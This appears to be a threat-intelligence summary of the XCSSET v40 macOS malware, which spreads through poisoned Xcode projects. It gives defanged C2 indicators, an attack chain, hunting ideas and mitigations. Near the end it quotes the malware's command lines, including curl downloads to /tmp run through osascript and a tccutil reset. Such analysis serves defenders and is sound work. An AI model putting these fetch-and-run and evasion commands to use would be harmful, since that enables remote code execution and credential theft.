10 minhigh
The Xcode Assassin Returns: A Deep Dive Into the Latest XCSSET Version
XCSSET v40 is a modular macOS malware targeting software developers through infected Xcode projects. It features advanced stealth techniques including fileless persistence via the macOS defaults system, multi-layered polymorphism, and active impairment of macOS security mechanisms like XProtect and TCC. New operational modules include a Chrome DevTools Protocol (CDP) hijacker for browser manipulation and a Telegram trojanizer for persistent access.
Sens:▲ 24hConf:high
Showing defanged values
- domainaccapple[.]ruC2 domain.
- domainadschecks[.]ruC2 domain.
- domainadsmobi[.]ruC2 domain.
- domainadsmorein[.]inC2 domain.
- domainadsmoreme[.]inC2 domain.
- domainamdcdn[.]ruC2 domain.
- domainamzndev[.]inC2 domain used for malware distribution and communication.
- domainamzndev[.]ruC2 domain used for malware distribution and communication.
- domainamznprod[.]inC2 domain.
- domainapplecdn[.]ruC2 domain.
- domainappledisk[.]ruC2 domain.
- domainappledns[.]ruC2 domain.
- domainapplehosts[.]ruC2 domain.
- domainappletime[.]inC2 domain.
- domainbulksec[.]ruC2 domain.
- domaincdnamz[.]inC2 domain.
- domaincdnamz[.]ruC2 domain.
- domaincdnapple[.]inC2 domain.
- domaincdnatapple[.]ruC2 domain.
- domaincdnroute[.]ruC2 domain.
- domaincheckcdn[.]ruC2 domain.
- domainchromeads[.]ruC2 domain.
- domaincnmag[.]ruC2 domain.
- domaindevnetaps[.]ruC2 domain.
- domaindnsapple[.]ruC2 domain.
- domaindnsrelays[.]ruC2 domain.
- domainexplorecdn[.]ruC2 domain.
- domainfiddlejoy[.]ruC2 domain.
- domainfigmacat[.]ruC2 domain.
- domainfigmanets[.]inC2 domain.
- domainfunchats[.]ruC2 domain.
- domaingironetcdn[.]ruC2 domain.
- domaingoalmate[.]ruC2 domain.
- domaingooglenets[.]ruC2 domain.
- domaingreencn[.]ruC2 domain.
- domainicloudsnet[.]ruC2 domain.
- domainimails[.]ruC2 domain.
- domainlegalads[.]inC2 domain.
- domainlittleads[.]inC2 domain.
- domainlittledns[.]ruC2 domain.
- domainmaganet[.]ruC2 domain.
- domainmindelgate[.]ruC2 domain.
- domainnetapsdev[.]ruC2 domain.
- domainnetcdnads[.]inC2 domain.
- domainnetcdnamz[.]ruC2 domain.
- domainnetcdndev[.]inC2 domain.
- domainnetcorps[.]ruC2 domain.
- domainnetsprot[.]inC2 domain.
- domainnetsproto[.]inC2 domain.
- domainnetworkads[.]inC2 domain.
- domainrigacdn[.]inC2 domain.
- domainrigmajoys[.]inC2 domain.
- domainrigmanet[.]ruC2 domain.
- domainrigmanets[.]inC2 domain.
- domainsahusuzuki[.]inC2 domain.
- domainstuffdns[.]inC2 domain.
- domaintestjoys[.]ruC2 domain.
- domaintimewebnet[.]inC2 domain.
- domainvigmanet[.]ruC2 domain.
- domainwhitead[.]inC2 domain.
- domainwhiteads[.]ruC2 domain.
- domainwincdn[.]ruC2 domain.
- domainwindsecure[.]ruC2 domain.
- filename/tmp/p.appPath where an accompanying AppleScript wrapper is compiled on the fly.
- filename/tmp/rPath where the primary malware loader is pulled to.
- ip151[.]243[.]109[.]188C2 IP address.
- ip178[.]208[.]92[.]129C2 IP address.
- ip178[.]208[.]92[.]168C2 IP address.
- ip91[.]108[.]106[.]229C2 IP address linked to XCSSET v40 infrastructure.
- ip95[.]142[.]35[.]206C2 IP address.
- ip95[.]142[.]35[.]34C2 IP address.
- ip95[.]142[.]37[.]159C2 IP address.
- sha16e480d648fa1b70612f5d198a66875e28847547dShared SSL thumbprint linking multiple C2 IP addresses and domains.
- urlhxxps://amzndev[.]in/d/ubi_egd_aqdpiagoyC2 URL observed in process tree for downloading an AppleScript payload to /tmp/ap.
- urlhxxps://amzndev[.]in/d/zw_sfp64C2 URL for downloading the Chrome CDP Helper Binary (chrome_remote).
- urlhxxps://amzndev[.]ru/d/zw_sfp64C2 URL for downloading the Chrome CDP Helper Binary.
- urlhxxps://googlenets[.]ru/d/zw_sfp64C2 URL for downloading the Chrome CDP Helper Binary.
- urlhxxps://netcdndev[.]in/d/zw_sfp64C2 URL for downloading the Chrome CDP Helper Binary.
- urlhxxps://whitead[.]in/d/zw_sfp64C2 URL for downloading the Chrome CDP Helper Binary.
- urlhxxps://whiteads[.]ru/d/zw_sfp64C2 URL for downloading the Chrome CDP Helper Binary.
Detection / Hunteropenrouter
What Happened
Attackers have released a new version of malware called XCSSET that targets Apple Mac computers, specifically software developers. The malware spreads by hiding inside Xcode projects on GitHub, infecting the developer's computer when they build the project. This new version is very stealthy, hiding in the computer's memory and disabling security software. It can hijack web browsers to steal passwords and cryptocurrency, and it can replace the Telegram messaging app with a fake version to spy on communications. Users should be careful about downloading Xcode projects from untrusted sources and ensure their security software is up to date.
Key Takeaways
- XCSSET v40 targets macOS developers via infected Xcode projects on GitHub, using polymorphic payloads and fileless persistence.
- New Chrome hijacking module abuses Chrome DevTools Protocol (CDP) to inject JavaScript, steal credentials, manipulate crypto wallets, and establish a reverse shell.
- Malware impairs macOS defenses by disabling SoftwareUpdate, terminating CloudTelemetryService, locking XProtect signature databases, and resetting TCC permissions.
- Introduces a Telegram trojanizer module that replaces the legitimate Telegram.app with a C2-supplied malicious version.
- Uses a multi-layered evasion stack including binary recompilation, dual-key network encryption, and per-module Caesar ciphers for string literals.
Affected Systems
- macOS
- Xcode
- Google Chrome
- Telegram Desktop
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: Developer builds a poisoned Xcode project downloaded from GitHub.
- Execution: Malicious run-script phase executes, decoding nested layers of Hex/Base64 to run a curl request.
- C2: Script initiates contact with C2 via curl to retrieve staging payload and exfiltrate host metadata.
- Persistence: Uses macOS
defaultssystem to write Base64-encoded staging payload into random-looking preference domains. - Defense Evasion: Disables SoftwareUpdate, terminates CloudTelemetryService, locks XProtect DB, resets TCC, and deletes staging files from disk.
- Discovery: Performs hardware fingerprinting and anti-VM checks before delivering core modules.
- Lateral Movement: Infects other Xcode projects and Git repositories on the system.
- Collection/Exfiltration: Steals credentials, cookies, crypto wallets, and Telegram data via in-memory modules.
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
- Platforms: Cortex XDR BTP, Advanced WildFire, Advanced URL Filtering, Advanced DNS Security
Palo Alto Networks products detect this threat via Cortex XDR Behavioral Threat Protection, Advanced WildFire, Advanced URL Filtering, and Advanced DNS Security. No specific rule content is provided in the article.
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | High | Cortex XDR detects osascript calls, multi-pass base64/xxd decoders, and process spawning from infected .xcodeproj build phases. |
| Network Visibility | High | C2 communication over HTTP/HTTPS with distinct URI patterns and known domains/IPs can be monitored. |
| Detection Difficulty | Hard | Polymorphic binaries, fileless persistence, and multi-layered encryption make static detection difficult; requires behavioral analysis. |
Required Log Sources
- Process Execution Logs
- Network Connection Logs
- DNS Logs
- File System Logs
- macOS Unified Log
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
Consider hunting for osascript execution originating from Xcode build phases or following curl downloads to temporary directories, which may indicate XCSSET loader activity. | Process execution logs, process ancestry, command-line arguments | Execution | Low - Legitimate Xcode build phases rarely execute osascript from /tmp/. |
If you have visibility into macOS defaults modifications, consider hunting for the creation of new, random-looking preference domains containing Base64-encoded data, which may indicate fileless persistence. | File system monitoring, command-line auditing for defaults | Persistence | Medium - Some legitimate applications may use dynamic preference domains. |
| Consider hunting for Google Chrome processes launched with command-line arguments enabling the Chrome DevTools Protocol (CDP) on a local port, which may indicate browser hijacking. | Process command-line arguments | Defense Evasion | Low - Enabling CDP via command line is uncommon for typical users. |
Consider hunting for executions of tccutil reset AppleEvents, especially when followed by prompts from unexpected applications, as this may indicate TCC database manipulation. | Process execution logs, command-line arguments | Defense Evasion | Low - This command is rarely used by standard users. |
| If you monitor file access, consider hunting for processes acquiring exclusive locks on the XProtect signature database (XPdb), which may indicate defense evasion. | File access logs, file lock monitoring | Defense Evasion | Low - Only system processes should access this database. |
Control Gaps
- Static signature-based AV may miss polymorphic and fileless components.
- Standard TCC prompts may be bypassed via reset and masquerading.
- Lack of supply chain dependency scanning may allow initial infection.
Key Behavioral Indicators
- osascript executing from /tmp/
- curl downloading to /tmp/ followed by osascript execution
- Chrome launched with --remote-debugging-port flag
- defaults write to random-looking domains
- tccutil reset AppleEvents
- Perl process locking XProtect DB
- Ad hoc signed applications masquerading as legitimate ones
False Positive Assessment
Low - The combination of Xcode build phase execution, osascript in memory, and specific C2 patterns is highly indicative of XCSSET.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider isolating any macOS endpoints exhibiting suspicious
osascriptbehavior or contacting known XCSSET C2 IPs/domains. - If your EDR supports host isolation, consider isolating affected machines to prevent lateral movement via Xcode project infection.
Infrastructure Hardening
- Evaluate implementing DNS filtering to block known XCSSET C2 domains.
- Consider monitoring network traffic for the specific URI patterns described in the article (e.g., /a, /s/, /d/).
- If applicable, consider implementing supply-chain dependency scanning for developer pipelines.
User Protection
- Consider enabling enhanced macOS security features like Gatekeeper and ensuring XProtect is up-to-date (though note the malware attempts to disable these).
- Evaluate whether your EDR can detect and block file writes to temporary directories followed by execution via
osascript.
Security Awareness
- Consider reminding developers to only download Xcode projects from trusted sources and to be cautious of projects from GitHub.
- Consider training users to be suspicious of unexpected TCC prompts, especially those masquerading as System Settings or Xcode.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping16 techniques
Tactic
Initial Access
Tactic
Execution
Tactic
Persistence
Tactic
Stealth
Tactic
Discovery
Tactic
Collection
Tactic
Command and Control
Tactic
Exfiltration
Additional IOCs
- Ips:
95[.]142[.]35[.]34- C2 IP address.95[.]142[.]35[.]206- C2 IP address.95[.]142[.]37[.]159- C2 IP address.151[.]243[.]109[.]188- C2 IP address.178[.]208[.]92[.]129- C2 IP address.178[.]208[.]92[.]168- C2 IP address.
- Domains:
accapple[.]ru- C2 domain.adschecks[.]ru- C2 domain.adsmobi[.]ru- C2 domain.adsmorein[.]in- C2 domain.adsmoreme[.]in- C2 domain.amdcdn[.]ru- C2 domain.amznprod[.]in- C2 domain.applecdn[.]ru- C2 domain.appledisk[.]ru- C2 domain.appledns[.]ru- C2 domain.applehosts[.]ru- C2 domain.appletime[.]in- C2 domain.bulksec[.]ru- C2 domain.cdnamz[.]in- C2 domain.cdnamz[.]ru- C2 domain.cdnapple[.]in- C2 domain.cdnatapple[.]ru- C2 domain.cdnroute[.]ru- C2 domain.checkcdn[.]ru- C2 domain.chromeads[.]ru- C2 domain.cnmag[.]ru- C2 domain.devnetaps[.]ru- C2 domain.dnsapple[.]ru- C2 domain.dnsrelays[.]ru- C2 domain.explorecdn[.]ru- C2 domain.fiddlejoy[.]ru- C2 domain.figmacat[.]ru- C2 domain.figmanets[.]in- C2 domain.funchats[.]ru- C2 domain.gironetcdn[.]ru- C2 domain.goalmate[.]ru- C2 domain.googlenets[.]ru- C2 domain.greencn[.]ru- C2 domain.icloudsnet[.]ru- C2 domain.imails[.]ru- C2 domain.legalads[.]in- C2 domain.littleads[.]in- C2 domain.littledns[.]ru- C2 domain.maganet[.]ru- C2 domain.mindelgate[.]ru- C2 domain.netapsdev[.]ru- C2 domain.netcdnads[.]in- C2 domain.netcdnamz[.]ru- C2 domain.netcdndev[.]in- C2 domain.netcorps[.]ru- C2 domain.netsprot[.]in- C2 domain.netsproto[.]in- C2 domain.networkads[.]in- C2 domain.rigacdn[.]in- C2 domain.rigmajoys[.]in- C2 domain.rigmanet[.]ru- C2 domain.rigmanets[.]in- C2 domain.sahusuzuki[.]in- C2 domain.stuffdns[.]in- C2 domain.testjoys[.]ru- C2 domain.timewebnet[.]in- C2 domain.vigmanet[.]ru- C2 domain.whitead[.]in- C2 domain.whiteads[.]ru- C2 domain.wincdn[.]ru- C2 domain.windsecure[.]ru- C2 domain.
- Urls:
hxxps://amzndev[.]ru/d/zw_sfp64- C2 URL for downloading the Chrome CDP Helper Binary.hxxps://googlenets[.]ru/d/zw_sfp64- C2 URL for downloading the Chrome CDP Helper Binary.hxxps://netcdndev[.]in/d/zw_sfp64- C2 URL for downloading the Chrome CDP Helper Binary.hxxps://whitead[.]in/d/zw_sfp64- C2 URL for downloading the Chrome CDP Helper Binary.hxxps://whiteads[.]ru/d/zw_sfp64- C2 URL for downloading the Chrome CDP Helper Binary.
- Registry Keys:
ychax_muwch_ucy- macOS defaults domain key used for fileless persistence.
- File Paths:
/tmp/ap- Temporary file path used to download an AppleScript payload./tmp/nhpomr- Temporary file path used for staging payload.~/.tr- File path where decrypted Telegram trojanizer configuration is written.~/.tr_map- Companion file to ~/.tr that tracks state for Telegram trojanizer.
- Command Lines:
- Purpose: Downloading AppleScript payload to temporary directory | Tools:
curl| Stage: Execution |curl -fskL -o /tmp/ap <url> - Purpose: Executing downloaded AppleScript payload in memory | Tools:
osascript| Stage: Execution |osascript /tmp/ap <args> - Purpose: Downloading staging payload with system context | Tools:
curl| Stage: Discovery |curl -ksfL --connect-timeout 24 --retry 3 -o '/tmp/nhpomr' -d 'os=Darwin&u=' - Purpose: Removing temporary staging file | Tools:
rm| Stage: Defense Evasion |rm -f /tmp/nhpomr - Purpose: Executing AppleScript from curl output | Tools:
osascript,curl| Stage: Execution |osascript -e "$(curl -ksfL --connect-timeout 24 --retry 3 -d 'os=Darwin&u=' - Purpose: Resetting TCC database for AppleEvents to re-prompt user | Tools:
tccutil| Stage: Defense Evasion |tccutil reset AppleEvents - Purpose: Disabling automatic software updates | Tools:
defaults| Stage: Defense Evasion - Purpose: Disabling critical update installation | Tools:
defaults| Stage: Defense Evasion - Purpose: Disabling configuration data installation | Tools:
defaults| Stage: Defense Evasion
- Purpose: Downloading AppleScript payload to temporary directory | Tools:
